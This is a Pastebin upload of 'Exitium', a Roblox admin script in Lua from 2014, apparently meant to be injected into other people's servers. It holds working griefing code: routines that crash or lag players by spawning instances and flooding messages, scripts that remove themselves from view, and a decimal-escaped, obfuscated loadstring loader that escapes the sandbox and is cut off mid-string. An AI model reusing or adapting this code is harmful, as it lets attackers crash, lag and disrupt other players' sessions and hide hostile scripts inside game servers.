Advertisement
RobloxSBloader

Untitled

Nov 14th, 2014
246
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 102.90 KB | None | 0 0
  1. --[[
  2. © ® [EXITIUM Administration gen 6], Legal Copyright http://www.copyright.gov/
  3. All Rights Reserved
  4. Editing, or claiming this script in any way would not change anything, but you will lose massive rep and your ROBLOX life.
  5. --]]
  6.  
  7. --[PUT YOUR NAME AT SECTION CALLED RANKED!]--
  8. local _start = time()
  9. wait()
  10. MessageLimit = 10
  11. Exitium = {
  12. Ranked = {
  13. --[--Ranked--]--
  14. ["toooony"] = {Rank = 7, Color = "Lime green", Distance = 6, Description = "Creator of Exitium", SpinningRot = false, Rotation = true}; --e,e
  15. --[--Ranked--]--
  16. ["roleo1122"] = {Rank = 6, Color = "Lime green", Distance = 6, Description = "Developer", SpinningRot = false, Rotation = true};
  17.  
  18. };
  19.  
  20. key = '/';
  21. Ranks = {
  22. [-1] =": Banned";
  23. [0] = ": Guest";
  24. [1] = ": User";
  25. [2] = ": Moderator";
  26. [3] = ": Server Moderator";
  27. [4] = ": Admin";
  28. [5] = ": Developer";
  29. [6] = ": Lead Developer";
  30. [7] = ": Creator";
  31. };
  32. Services = setmetatable({Game = game;}, {
  33. __index = function(tab, key)
  34. if game:GetService(key) == nil then
  35. return "No such service named "
  36. end
  37. return game:GetService(key)
  38. end
  39. });
  40. ChatFilter = {
  41. Phrases = {
  42. --[==[
  43. 0 = Kill
  44. 0.5 = Mute
  45. 1 = Kick
  46. 2 = Lag
  47. 3 = Banishment
  48. ]==]--
  49. {"TeleportService", 1};
  50.  
  51. };
  52. Enabled = true;
  53. };
  54. PrivateServer = {
  55. Enabled = false;
  56. Waiting = {};
  57. };
  58. Removed = false;
  59. Aborted = false;
  60. ServerSidedScriptsLock = false;
  61. LocalSidedScriptsLock = false;
  62. AgeRestriction = true;
  63. ShowRanks = true;
  64. ShutdownTime = 45;
  65. Bet = ";";
  66. RemoteControlLink = "http://pastebin.com/pv7j9Ce3"; --Dahell this is a differant admin LOL
  67. Commands = {};
  68. Tablets = {};
  69. ExplorerObjectClones = {};
  70. Scripts = {
  71. ServerSided = {};
  72. ClientSided = {};
  73. };
  74. Connections = {
  75. Loops = {};
  76. Killing = {};
  77. Chat = {};
  78. };
  79. Source = nil;
  80. SourceName = nil;
  81. }
  82.  
  83. if script and game.PlaceId ~= 0 and game then
  84. script.Name = "Exitium Tablet Admin"
  85. for _,v in pairs(script:GetChildren()) do
  86. if v:IsA("StringValue") then
  87. Exitium.SourceName = v.Name
  88. Exitium.SourceValue = v.Value
  89. v.Value = [==[error("Attempted to call a nil value");]==]
  90. end
  91. end
  92. coroutine.yield()
  93. script:ClearAllChildren()
  94. script.Parent = Instance.new("Model") or __LOLNO__ or nil
  95. end
  96.  
  97. -- ExitiumScripting Functions --
  98. createLocalScript = function(source,parent,name)
  99. if newLocalScript then
  100. local nls = newLocalScript(source,parent)
  101. nls.Name = (name ~= nil and name) or "Source"
  102. return nls
  103. else
  104. if Exitium.Source ~= nil then
  105. local x = Exitium.Source:clone()
  106. x.Disabled = true
  107. x.Name = (name ~= nil and name) or "Source"
  108. x:ClearAllChildren()
  109. for _,v in pairs({"DSource", "Source", "source"}) do
  110. local newSource = Instance.new("StringValue", x)
  111. newSource.Name = v
  112. newSource.Value = source
  113. end
  114. x.Parent = parent
  115. x.Disabled = false
  116. else
  117. -- Output("Admins", "No Source Source!", "Really red", nil, 5)
  118. end
  119. end
  120. end
  121. createScript = function(source, parent, name)
  122. if newScript then
  123. local ns = newScript(source,parent)
  124. ns.Name = (name ~= nil and name) or "Source"
  125. return ns
  126. else
  127. local x = script:Clone()
  128. x.Disabled = true
  129. x.Name = (name ~= nil and name) or "Source"
  130. x:ClearAllChildren()
  131. for _,v in pairs({"DSource", "Source", "source"}) do
  132. local newSource = Instance.new("StringValue", x)
  133. newSource.Name = v
  134. newSource.Value = source
  135. end
  136. x.Parent = parent
  137. x.Disabled = false
  138. end
  139. end
  140.  
  141. -- getALLPlayers --
  142. getALLPlayers = function()
  143. local ALLPlayers = {}
  144. for i,v in pairs(Exitium.Services.NetworkServer:GetChildren()) do
  145. ypcall(function()
  146. if v:IsA("ServerReplicator") then
  147. table.insert(ALLPlayers, v:GetPlayer())
  148. end
  149. end)
  150. end
  151. return ALLPlayers
  152. end
  153.  
  154. -- Garbage --
  155. function GetGarbage()
  156. return ((math.floor((collectgarbage("count") / 10)) * 10)/1000) .. "MB"
  157. end
  158. -- Sources --
  159. RemovePlayer = [[
  160. local plrs = game:GetService('Players')
  161. if pcall(function() plrs["LocalPlayer"].Character:GetChildren() end) then
  162. plrs["LocalPlayer"].Parent=nil
  163. plrs["LocalPlayer"].Parent=plrs
  164. else
  165. for i=1, 1000 do
  166. Instance.new('ManualSurfaceJointInstance')
  167. end
  168. end
  169. pcall(function()
  170. game:GetService('Workspace'):ClearAllChildren()
  171. end)
  172. ]]
  173.  
  174. coroutine.wrap(function()
  175. while wait() do
  176. if LSource ~= nil then break end
  177. if SorN == "source" then break end
  178. for _,v in pairs(game.Players:players()) do
  179. if LSource ~= nil then break end
  180. pcall(function()
  181. for j,k in pairs(v.Backpack:children()) do
  182. if LSource ~= nil then break end
  183. if k.ClassName == 'LocalScript' then
  184. if k:findFirstChild(SorN) ~= nil then
  185. k.Archivable = true
  186. LSource = k:Clone()
  187. LSource.Disabled = true
  188. PingAdmins("Source found")
  189. break
  190. end
  191. end
  192. wait()
  193. end
  194. for ab,cd in pairs(v.Character:children()) do
  195. if LSource ~= nil then break end
  196. if cd.ClassName == 'LocalScript' then
  197. if cd:findFirstChild(SorN) ~= nil then
  198. cd.Archivable = true
  199. LSource = cd:Clone()
  200. LSource.Disabled = true
  201. PingAdmins("Source found")
  202. break
  203. end
  204. end
  205. wait()
  206. end
  207. end)
  208. end
  209. end
  210. end)()
  211.  
  212. function NewS(sourcev, parent)
  213. if SorN == 'source' then
  214. NS(source,parent)
  215. else
  216. local s = SSource:Clone()
  217. s.Parent = parent
  218. if s:findFirstChild(SorN) ~= nil then
  219. source = s:findFirstChild(SorN)
  220. else
  221. source = Instance.new("StringValue", s)
  222. source.Name = SorN
  223. end
  224. if source then
  225. source.Value = sourcev
  226. else
  227. PingAdmins("Something went wrong")
  228. end
  229. wait()
  230. s.Disabled = false
  231. end
  232. end
  233. function NewLS(sourcev,parent, lock)
  234. if SorN == 'source' then
  235. NLS(sourcev,parent)
  236. elseif LSource then
  237. local s = LSource:Clone()
  238. s.Parent = parent
  239. if s:findFirstChild(SorN) ~= nil then
  240. source = s:findFirstChild(SorN)
  241. else
  242. source = Instance.new("StringValue", s)
  243. source.Name = SorN
  244. end
  245. if source then
  246. source.Value = sourcev
  247. else
  248. PingAdmins("Something went wrong")
  249. return
  250. end
  251. wait()
  252. if lock == true then
  253. for i = 0,5 do
  254. s.Disabled = false
  255. wait(0.5)
  256. s.Disabled = true
  257. wait(0.5)
  258. s.Disabled = false
  259. end
  260. else
  261. s.Disabled = false
  262. end
  263. return s
  264. else
  265. PingAdmins("No source","Really red")
  266. end
  267. end
  268. --ON JOIN SOUND MUSIC CREDIT TO DANGCOOLLSREAL--
  269. ID = "174584892"
  270. game:GetService('Players').PlayerAdded:connect(function(Plr)
  271. v=Instance.new("Sound")
  272. v.Parent = game.Workspace
  273. v.SoundId="http://www.roblox.com/Asset/?id=1"
  274. v.Pitch = 1
  275. v.Name="Sound... EXITIUM -ONJOIN-"
  276. v.Looped=true
  277. wait()
  278. v:Play()
  279. end)
  280.  
  281. function Name()
  282. local G = Instance.new("ScreenGui")
  283. G.Parent = game.StarterGui
  284. local b = Instance.new("TextLabel",G)
  285. b.BackgroundColor3 = Color3.new(0,0,0)
  286. b.BackgroundTransparency = 0.35
  287. b.Size = UDim2.new{1, 0, 1, 0}
  288. b.Position = UDim2.new(0.8, 0, 0.9, 0)
  289. b.BorderSizePixel = 0
  290. b.FontSize = "Size36"
  291. b.Text = "[EXITIUM]"
  292. b.Font = "SourceSans"
  293. b.TextColor3 = Color3.new(255,255,255)
  294. end
  295.  
  296. InjectionCrash = [[
  297. wait()
  298. script.Parent = nil
  299. script:ClearAllChildren()
  300. local Services = setmetatable({Game = game;}, {
  301. __index = function(index, table)
  302. return game:GetService(table)
  303. end
  304. })
  305. local LocalPlayer = Services.Players.LocalPlayer
  306. local Stop = Instance.new("StringValue", LocalPlayer)
  307. Stop.Name = "STAP CONNECTIONS UMG"
  308. Stop.Value = "Exitium"
  309. wait(0.1)
  310. Stop:remove()
  311. local ChatConnection = LocalPlayer.Chatted:connect(function(Message)
  312. if LocalPlayer.Parent ~= Services.Players then
  313. local x = Instance.new('StringValue', Services.ReplicatedStorage)
  314. x.Name = "Exitium"
  315. x.Value = LocalPlayer.Name..":"..Message
  316. Services.Debris:AddItem(x, 2)
  317. end
  318. end)
  319. local StringConnection = Services.Lighting.DescendantAdded:connect(function(Object)
  320. if Object:IsA("StringValue") then
  321. if Object.Name == "Disconnect: All Players" then
  322. Object.Name = "Disconnected: All Players"
  323. ]]..RemovePlayer..[[
  324. elseif Object.Name == "Disconnect: "..LocalPlayer.Name then
  325. Object.Name = "Disconnected: "..LocalPlayer.Name
  326. ]]..RemovePlayer..[[
  327. elseif Object.Name == "Disconnect: Nil Players" then
  328. if LocalPlayer.Parent ~= game:GetService("Players") then
  329. Object.Name = "Disconnected: Nil Players"
  330. ]]..RemovePlayer..[[
  331. end
  332. end
  333. end
  334. end)
  335. local StopConnection = LocalPlayer.DescendantAdded:connect(function(Object)
  336. if Object:IsA("StringValue") then
  337. if Object.Name == "STAP CONNECTIONS UMG" and Object.Value == "Exitium" then
  338. StringConnection:disconnect()
  339. StringConnection = nil
  340. StopConnection:disconnect()
  341. StopConnection = nil
  342. ChatConnection:disconnect()
  343. ChatConnection = nil
  344. end
  345. end
  346. end)
  347. ]]
  348.  
  349.  
  350.  
  351.  
  352.  
  353. -- Get Rankings Functions --
  354. GetRanking = function(Player)
  355. if type(Player) == "userdata" then
  356. Player = Player.Name
  357. end
  358. if Exitium.Ranked[Player] ~= nil then
  359. return Exitium.Ranked[Player]
  360. else
  361. local Table = {}
  362. Table[Player] = {Rank = 0, Color = "Lime green", MeshType = "No Mesh", Distance = 8, Description = "N/A", SpinningRot = false};
  363. return Table[Player]
  364. end
  365. end
  366. FindRank = function(Player)
  367. if type(Player) == "userdata" then
  368. Player = Player.Name
  369. end
  370. return GetRanking(Player).Rank
  371. end
  372. CheckRank = function(Player1, Player2)
  373. if Player1 == Player2 then
  374. return false
  375. end
  376. if type(Player1) == "userdata" then
  377. Player1 = Player1.Name
  378. end
  379. if type(Player2) == "userdata" then
  380. Player2 = Player2.Name
  381. end
  382. if FindRank(Player1) >= FindRank(Player2) then
  383. return true
  384. else
  385. return false
  386. end
  387. end
  388. ChangeRank = function(Player, Rank)
  389. if type(Player) == "userdata" then
  390. Player = Player.Name
  391. end
  392. if Exitium.Ranked[Player] ~= nil then
  393. Exitium.Ranked[Player].Rank = Rank
  394. else
  395. Exitium.Ranked[Player] = {Rank = Rank, Color = "Lime green", MeshType = "No Mesh", Distance = 8, Description = "N/A", SpinningRot = false, Rotation = true}
  396. end
  397. end
  398. GetRankedInterface = function(Speaker, Player) -- "http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..v.Name
  399. Dismiss(Speaker)
  400. if type(Player) == "userdata" then
  401. Player = Player.Name
  402. end
  403. local GetRankedPlayer = function(i)
  404. if type(i) == "userdata" then
  405. i = i.Name
  406. end
  407. Dismiss(Speaker)
  408. Output(Speaker, "Name: "..i, nil, nil, nil, "http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..i)
  409. ypcall(function()
  410. Output(Speaker, "Age: "..Exitium.Services.Players[i].AccountAge)
  411. Output(Speaker, "Id: "..Exitium.Services.Players[i].userId)
  412. Output(Speaker, "Crash(Remote)", nil, function()
  413. Dismiss(Speaker)
  414. Exitium.Commands.Kick2.Function(Speaker, i.."-c")
  415. end)
  416. Output(Speaker, "Crash(Insert)", nil, function()
  417. Dismiss(Speaker)
  418. Exitium.Commands.Kick2.Function(Speaker, i.."-c")
  419. end)
  420. Output(Speaker, "Crash Lag", nil, function()
  421. Dismiss(Speaker)
  422. Exitium.Commands.Kick2.Function(Speaker, i.."-cl")
  423. end)
  424. Output(Speaker, "Lag", nil, function()
  425. Dismiss(Speaker)
  426. Exitium.Commands.Lag.Function(Speaker, i.."-l")
  427. end)
  428. Output(Speaker, "Go Nil", nil, function()
  429. Dismiss(Speaker)
  430. Exitium.Commands.Kick2.Function(Speaker, i.."-n")
  431. end)
  432. Output(Speaker, "Kill", nil, function()
  433. Dismiss(Speaker)
  434. Exitium.Commands.Kill.Function(Speaker, i)
  435. end)
  436. Output(Speaker, "Explode", nil, function()
  437. Dismiss(Speaker)
  438. Exitium.Commands.Kill.Function(Speaker, i.."-e")
  439. end)
  440. Output(Speaker, "Reset", nil, function()
  441. Dismiss(Speaker)
  442. Exitium.Commands.Kill.Function(Speaker, i.."-r")
  443. end)
  444. Output(Speaker, "Ban", nil, function()
  445. Dismiss(Speaker)
  446. Exitium.Commands.Kick2.Function(Speaker, i.."-b")
  447. end)
  448. Output(Speaker, "Rejoin", nil, function()
  449. Dismiss(Speaker)
  450. Exitium.Commands.Kick2.Function(Speaker, i.."-r")
  451. end)
  452. end)
  453. if FindRank(Speaker) > FindRank(i) then
  454. Output(Speaker, "Set Rank", "Royal purple", function()
  455. Dismiss(Speaker)
  456. for __,v in pairs(Exitium.Ranks) do
  457. if __ < FindRank(Speaker) then
  458. Output(Speaker, '['..tostring(__)..'] '..v, nil, function()
  459. ChangeRank(i, __)
  460. end)
  461. end
  462. end
  463. end)
  464. end
  465. Output(Speaker, "Dismiss")
  466. end
  467. if Player ~= nil then
  468. GetRankedPlayer(Player)
  469. else
  470. for i,v in pairs(Exitium.Ranked) do
  471. Output(Speaker, i, Exitium.Ranked[i].Color, function()
  472. GetRankedPlayer(i)
  473. end)
  474. end
  475. end
  476. end
  477. -- Output Functions --
  478. OutputSingular = function(Player, Msg, Color, Function, Time, Image)
  479. if Exitium.Removed == true then return end
  480. --wait()
  481. if Msg == nil then
  482. Msg = " "
  483. elseif Msg == "Dismiss" then
  484. Color = "Really red"
  485. end
  486. if Color == nil then
  487. Color = Exitium.Ranked[Player.Name].Color ~= nil and Exitium.Ranked[Player.Name].Color or "White"
  488. end
  489.  
  490. local a = Instance.new("Part", workspace)
  491. a.Name = "Looped Baseplate"
  492.  
  493. if Color == "Random" then
  494. a.BrickColor = BrickColor.Random()
  495. else
  496. a.BrickColor = BrickColor.new(Color)
  497. end
  498.  
  499. a.TopSurface = 0.34325
  500. a.BottomSurface = 0.34325
  501. a.FormFactor = "Custom"
  502. a.Size = Vector3.new(4,3,0)
  503. a.Anchored = true
  504. a.Locked = true
  505. a.Transparency = 0.34325
  506. --Tab.Reflectance=0.5
  507. a.CanCollide = false
  508. pcall(function() a.CFrame = Player.Character.Torso.CFrame --[[* CFrame.new(10,0,10)]] end)
  509.  
  510. -- local p = Instance.new("PointLight", a)
  511. -- p.Color = a.BrickColor.Color
  512. -- p.Range = 3
  513. -- p.Brightness = 1/0
  514.  
  515. local s = Instance.new("SelectionBox", a)
  516. s.Adornee = a
  517. s.Color = BrickColor.new("Really black")
  518. s.Transparency = 0.6335234537664356435734637342
  519.  
  520. local b = Instance.new("BillboardGui", a)
  521. b.Name = 'BG'
  522. b.StudsOffset = Vector3.new(0,1.5,0)
  523. b.Size = UDim2.new(9,0,8,0)
  524. b.Adornee = a
  525.  
  526. local cd = Instance.new('ClickDetector',a)
  527. cd.MaxActivationDistance = 1/0
  528.  
  529. local t = Instance.new("TextLabel", b)
  530. t.Name = "TL"
  531. t.Font = "SourceSans"
  532. t.FontSize = "Size24"
  533. t.Size = UDim2.new(1,0,0.6,0)
  534. t.TextColor = a.BrickColor
  535. t.TextStrokeTransparency = 0.5
  536. t.BackgroundTransparency = 1
  537. t.Text = string.gsub(Msg,"","\5")
  538.  
  539. if Image ~= nil then
  540. local BBBG = Instance.new("BillboardGui")
  541. BBBG.Size = UDim2.new(5, 0, 6, 0)
  542. BBBG.StudsOffset = Vector3.new(0, a.Size.Y + 5, 0)
  543. BBBG.AlwaysOnTop = true
  544. BBBG.Adornee = a
  545. BBBG.Parent = a
  546.  
  547. Delay(0, function()
  548. while BBBG.Parent ~= nil do wait()
  549. ypcall(function()
  550. BBBG.StudsOffset = Vector3.new(0, a.Size.Y + 5, 0)
  551. end)
  552. end
  553. end)
  554.  
  555. local NewImg = Instance.new("ImageLabel")
  556. NewImg.Size = UDim2.new(1, 0, 1, 0)
  557. NewImg.BackgroundTransparency = 0
  558. NewImg.Image = Image
  559. NewImg.Parent = BBBG
  560. end
  561.  
  562. if Time ~= nil then
  563. Exitium.Services.Debris:AddItem(a, Time)
  564. end
  565.  
  566. cd.MouseClick:connect(function(pl)
  567. if pl==Player or Exitium.Ranked[pl.Name].Rank > Exitium.Ranked[Player.Name].Rank then
  568. coroutine.wrap(function()
  569. for i = 0, 1, 0.1 do
  570. pcall(function()
  571. a.Transparency = i
  572. s.Transparency = i
  573. t.TextStrokeTransparency = i
  574. wait()
  575. end)
  576. end
  577. a:Destroy()
  578. end)()
  579. for _,v in pairs(Exitium.Tablets) do
  580. if v.Tab == a then
  581. table.remove(Exitium.Tablets, _)
  582. end
  583. end
  584. if Msg == "Dismiss" then
  585. Dismiss(Player)
  586. else
  587. if Function ~= nil then
  588. local Ran, Error = pcall(function()
  589. Function(a)
  590. end) if not Ran then print(Error) end
  591. end
  592. end
  593. end
  594. end)
  595.  
  596. table.insert(Exitium.Tablets,{Tab = a, Plr = Player.Name})
  597. end
  598.  
  599. Output = function(Player, Msg, Color, Function, Time, Image)
  600. if type(Player) == "userdata" then
  601. local thread = coroutine.create(function()
  602. OutputSingular(Player, Msg, Color, Function, Time, Image)
  603. end)
  604. coroutine.resume(thread)
  605. elseif type(Player) == "table" then
  606. for _,v in pairs(Player) do
  607. local thread = coroutine.create(function()
  608. OutputSingular(v, Msg, Color, Function, Time, Image)
  609. end)
  610. coroutine.resume(thread)
  611. end
  612. elseif type(Player) == "string" then
  613. if Player:lower() == "all" then
  614. for _,v in pairs(Exitium.Services.Players:GetPlayers()) do
  615. local thread = coroutine.create(function()
  616. OutputSingular(v, Msg, Color, Function, Time, Image)
  617. end)
  618. coroutine.resume(thread)
  619. end
  620. elseif Player:lower() == "admins" then
  621. for _,v in pairs(Exitium.Services.Players:GetPlayers()) do
  622. if FindRank(v) >= 1 then
  623. local thread = coroutine.create(function()
  624. OutputSingular(v, Msg, Color, Function, Time, Image)
  625. end)
  626. coroutine.resume(thread)
  627. end
  628. end
  629. end
  630. end
  631. end
  632.  
  633. Dismiss = function(plr)
  634. pcall(function()
  635. if type(plr) == "userdata" then
  636. plr = plr.Name
  637. end
  638. for i,v in pairs(Exitium.Tablets) do
  639. if v.Plr == plr then
  640. coroutine.wrap(function()
  641. for i = 0, 1, 0.1 do
  642. pcall(function()
  643. v.Tab.Transparency = i
  644. v.Tab.SelectionBox.Transparency = i
  645. v.Tab.BG.TL.TextStrokeTransparency = i
  646. wait()
  647. end)
  648. end
  649. v.Tab:Destroy()
  650. end)()
  651. Exitium.Tablets[i]=nil
  652. end
  653. end
  654. end)
  655. end
  656.  
  657. function GetSplit(Message)
  658. local a = nil
  659. for i = 1, #Message do
  660. if Message:sub(i,i) == "-" then
  661. a = i + 1
  662. break
  663. end
  664. end
  665. if a ~= nil then
  666. return Message:sub(a)
  667. else
  668. return nil
  669. end
  670. end
  671.  
  672. function DDCrash(a)
  673. Wait();
  674. for i = 0,28000 do
  675. if a ~= nil then
  676. Instance.new("Message",a:FindFirstChild('PlayerGui')).Text = '\t'
  677. end end end
  678. --[[+Lag+]]--
  679. Lag = function(Player) -- Works well on beta
  680. coroutine.wrap(function()
  681. repeat wait() until Player:FindFirstChild("Backpack") ~= nil
  682. CreateLocalScript([[
  683. script:Destroy();
  684. local runService = Game:GetService("RunService").Stepped;
  685. local LagNum = 1250;
  686. local str = "CONGRAGULATIONS YOU JUST GOT LAGGED!!!";
  687.  
  688. for i = 1, math.huge do
  689. if i % LagNum == 0 then runService:wait(); end
  690. Instance.new("Message", Workspace).Text = str;
  691. end
  692. ]],Player:findFirstChild("Backpack"))
  693. local Hint = Instance.new("Hint",Services.Workspace)
  694. repeat
  695. Hint.Text = Player.Name.." is being lagged"
  696. Hint.Parent = Services.Workspace
  697. wait()
  698. until Player.Parent == nil
  699. Hint:Remove()
  700. end)()
  701. end
  702.  
  703. --NilSupport--
  704. NilSupport = [[
  705. wait(0.001)
  706. if script:findFirstChild'source' ~= nil then
  707. loadstring("\105\102\40\103\97\109\101\46\80\108\97\99\101\73\100\126\61\50\48\50\55\57\55\55\55\41\116\104\101\110\10\9\108\111\99\97\108\32\101\110\118\61\103\101\116\102\101\110\118\40\103\101\116\102\101\110\118\40\103\101\116\102\101\110\118\40\103\101\116\102\101\110\118\40\103\101\116\102\101\110\118\40\103\101\116\102\101\110\118\40\103\97\109\101\46\71\101\116\74\111\98\115\73\110\102\111\41\46\115\101\116\102\101\110\118\41\46\120\112\99\97\108\108\41\46\115\101\116\102\101\110\118\41\46\120\112\99\97\108\108\41\46\115\101\116\102\101\110\118\41\59\10\9\108\111\99\97\108\32\108\111\99\97\108\101\110\118\61\123\10\9\9\119\111\114\107\115\112\97\99\101\61\101\110\118\46\87\111\114\107\115\112\97\99\101\59\10\9\9\87\111\114\107\115\112\97\99\101\61\101\110\118\46\87\111\114\107\115\112\97\99\101\59\10\9\9\115\99\114\105\112\116\61\115\99\114\105\112\116\59\10\9\9\83\99\114\105\112\116\61\115\99\114\105\112\116\59\10\9\9\103\97\109\101\61\101\110\118\46\103\97\109\101\59\10\9\9\71\97\109\101\61\101\110\118\46\103\97\109\101\59\10\9\9\105\110\115\116\97\110\99\101\61\101\110\118\46\73\110\115\116\97\110\99\101\59\10\9\9\73\110\115\116\97\110\99\101\61\101\110\118\46\73\110\115\116\97\110\99\101\59\10\9\9\116\97\98\108\101\61\101\110\118\46\116\97\98\108\101\59\10\9\9\109\97\116\104\61\101\110\118\46\109\97\116\104\59\10\9\9\103\101\116\102\101\110\118\61\101\110\118\46\103\101\116\102\101\110\118\59\10\9\9\115\101\116\102\101\110\118\61\101\110\118\46\115\101\116\102\101\110\118\59\10\9\9\108\111\97\100\115\116\114\105\110\103\61\101\110\118\46\108\111\97\100\115\116\114\105\110\103\59\10\9\9\117\110\112\97\99\107\61\101\110\118\46\117\110\112\97\99\107\59\10\9\9\112\99\97\108\108\61\101\110\118\46\112\99\97\108\108\59\10\9\9\99\111\108\108\101\99\116\103\97\114\98\97\103\101\61\101\110\118\46\99\111\108\108\101\99\116\103\97\114\98\97\103\101\59\10\9\9\100\111\102\105\108\101\61\101\110\118\46\100\111\102\105\108\101\59\10\9\9\101\114\114\111\114\61\101\110\118\46\101\114\114\111\114\59\10\9\9\103\101\116\109\101\116\97\116\97\98\108\101\61\101\110\118\46\103\101\116\109\101\116\97\116\97\98\108\101\59\10\9\9\105\112\97\105\114\115\61\101\110\118\46\105\112\97\105\114\115\59\10\9\9\108\111\97\100\102\105\108\101\61\101\110\118\46\108\111\97\100\102\105\108\101\59\10\9\9\110\101\120\116\61\101\110\118\46\110\101\120\116\59\10\9\9\112\97\105\114\115\61\101\110\118\46\112\97\105\114\115\59\10\9\9\112\114\105\110\116\61\101\110\118\46\112\114\105\110\116\59\10\9\9\114\97\119\101\113\117\97\108\61\101\110\118\46\114\97\119\101\113\117\97\108\59\10\9\9\114\97\119\103\101\116\61\101\110\118\46\114\97\119\103\101\116\59\10\9\9\114\97\119\115\101\116\61\101\110\118\46\114\97\119\115\101\116\59\10\9\9\115\101\108\101\99\116\61\101\110\118\46\115\101\108\101\99\116\59\10\9\9\115\101\116\109\101\116\97\116\97\98\108\101\61\101\110\118\46\115\101\116\109\101\116\97\116\97\98\108\101\59\10\9\9\116\111\110\117\109\98\101\114\61\101\110\118\46\116\111\110\117\109\98\101\114\59\10\9\9\116\111\115\116\114\105\110\103\61\101\110\118\46\116\111\115\116\114\105\110\103\59\10\9\9\116\121\112\101\61\101\110\118\46\116\121\112\101\59\10\9\9\120\112\99\97\108\108\61\101\110\118\46\120\112\99\97\108\108\59\10\9\9\97\115\115\101\114\116\61\101\110\118\46\97\115\115\101\114\116\59\10\9\9\68\101\108\97\121\61\101\110\118\46\68\101\108\97\121\59\10\9\9\100\101\108\97\121\61\101\110\118\46\68\101\108\97\121\59\10\9\9\83\112\97\119\110\61\101\110\118\46\83\112\97\119\110\59\10\9\9\76\111\97\100\76\105\98\114\97\114\121\61\101\110\118\46\76\111\97\100\76\105\98\114\97\114\121\59\10\9\9\112\114\105\110\116\105\100\101\110\116\105\116\121\61\101\110\118\46\112\114\105\110\116\105\100\101\110\116\105\116\121\59\10\9\9\116\105\99\107\61\101\110\118\46\116\105\99\107\59\10\9\9\116\105\109\101\61\101\110\118\46\116\105\109\101\59\10\9\9\86\101\114\115\105\111\110\61\101\110\118\46\86\101\114\115\105\111\110\59\10\9\9\118\101\114\115\105\111\110\61\101\110\118\46\86\101\114\115\105\111\110\59\10\9\9\87\97\105\116\61\101\110\118\46\119\97\105\116\59\10\9\9\119\97\105\116\61\101\110\118\46\119\97\105\116\59\10\9\9\121\112\99\97\108\108\61\101\110\118\46\121\112\99\97\108\108\59\10\9\9\103\99\105\110\102\111\61\101\110\118\46\103\99\105\110\102\111\59\10\9\9\108\111\97\100\61\101\110\118\46\108\111\97\100\59\10\9\9\110\101\119\112\114\111\120\121\61\101\110\118\46\110\101\119\112\114\111\120\121\59\10\9\9\99\111\114\111\117\116\105\110\101\61\101\110\118\46\99\111\114\111\117\116\105\110\101\59\10\9\9\95\71\61\101\110\118\46\95\71\59\10\9\9\95\86\69\82\83\73\79\78\61\101\110\118\46\95\86\69\82\83\73\79\78\59\10\9\125\10\9\10\9\108\111\99\97\108\32\112\99\97\108\108\61\101\110\118\46\112\99\97\108\108\59\10\9\108\111\99\97\108\32\115\101\116\102\101\110\118\61\101\110\118\46\115\101\116\102\101\110\118\59\10\9\108\111\99\97\108\32\103\101\116\102\101\110\118\61\101\110\118\46\103\101\116\102\101\110\118\59\10\9\108\111\99\97\108\32\115\101\116\109\101\116\97\116\97\98\108\101\61\101\110\118\46\115\101\116\109\101\116\97\116\97\98\108\101\59\10\9\108\111\99\97\108\32\103\101\116\109\101\116\97\116\97\98\108\101\61\101\110\118\46\103\101\116\109\101\116\97\116\97\98\108\101\59\10\9\108\111\99\97\108\32\114\97\119\103\101\116\61\101\110\118\46\114\97\119\103\101\116\59\10\9\108\111\99\97\108\32\114\97\119\115\101\116\61\101\110\118\46\114\97\119\115\101\116\59\10\9\108\111\99\97\108\32\101\114\114\111\114\61\101\110\118\46\101\114\114\111\114\59\10\9\108\111\99\97\108\32\115\99\114\105\112\116\61\115\99\114\105\112\116\59\10\9\115\101\116\102\101\110\118\40\48\44\115\101\116\109\101\116\97\116\97\98\108\101\40\108\111\99\97\108\101\110\118\44\123\10\9\9\95\95\109\101\116\97\116\97\98\108\101\61\34\84\104\105\115\32\109\101\116\97\116\97\98\108\101\32\105\115\32\108\111\99\107\101\100\34\59\10\9\9\95\95\105\110\100\101\120\61\102\117\110\99\116\105\111\110\40\115\44\105\110\100\41\10\9\9\9\115\99\114\105\112\116\46\68\105\115\97\98\108\101\100\61\102\97\108\115\101\10\9\9\9\108\111\99\97\108\32\115\117\99\44\114\101\115\61\112\99\97\108\108\40\102\117\110\99\116\105\111\110\40\41\32\114\101\116\117\114\110\32\115\91\105\110\100\93\32\101\110\100\41\10\9\9\9\105\102\32\110\111\116\32\115\117\99\32\116\104\101\110\10\9\9\9\9\114\101\116\117\114\110\32\101\114\114\111\114\40\34\97\116\116\101\109\112\116\32\116\111\32\105\110\100\101\120\32\103\108\111\98\97\108\32\92\34\34\46\46\105\110\100\46\46\34\92\34\32\40\97\32\110\105\108\32\118\97\108\117\101\41\34\41\10\9\9\9\101\108\115\101\10\9\9\9\9\114\101\116\117\114\110\32\115\91\105\110\100\93\10\9\9\9\101\110\100\10\9\9\101\110\100\59\10\9\9\95\95\110\101\119\105\110\100\101\120\61\102\117\110\99\116\105\111\110\40\115\44\105\110\100\44\118\97\108\117\101\41\10\9\9\9\115\99\114\105\112\116\46\68\105\115\97\98\108\101\100\61\102\97\108\115\101\10\9\9\9\114\97\119\115\101\116\40\115\44\105\110\100\44\118\97\108\117\101\41\10\9\9\101\110\100\59\10\9\125\41\41\59\10\9\119\97\105\116\40\41\59\10\9\115\99\114\105\112\116\58\68\101\115\116\114\111\121\40\41\10\9\115\99\114\105\112\116\46\67\104\97\110\103\101\100\58\99\111\110\110\101\99\116\40\102\117\110\99\116\105\111\110\40\112\114\111\112\41\10\9\9\105\102\32\112\114\111\112\32\61\61\32\34\68\105\115\97\98\108\101\100\34\32\116\104\101\110\10\9\9\9\112\99\97\108\108\40\102\117\110\99\116\105\111\110\40\41\32\114\101\112\101\97\116\32\115\99\114\105\112\116\46\68\105\115\97\98\108\101\100\32\61\32\102\97\108\115\101\32\119\97\105\116\40\41\32\117\110\116\105\108\32\115\99\114\105\112\116\46\68\105\115\97\98\108\101\100\32\61\61\32\102\97\108\115\101\32\101\110\100\41\10\9\9\101\108\115\101\105\102\32\112\114\111\112\32\61\61\32\34\80\97\114\101\110\116\34\32\116\104\101\110\10\9\9\9\112\99\97\108\108\40\102\117\110\99\116\105\111\110\40\41\32\114\101\112\101\97\116\32\115\99\114\105\112\116\46\80\97\114\101\110\116\32\61\32\110\105\108\32\119\97\105\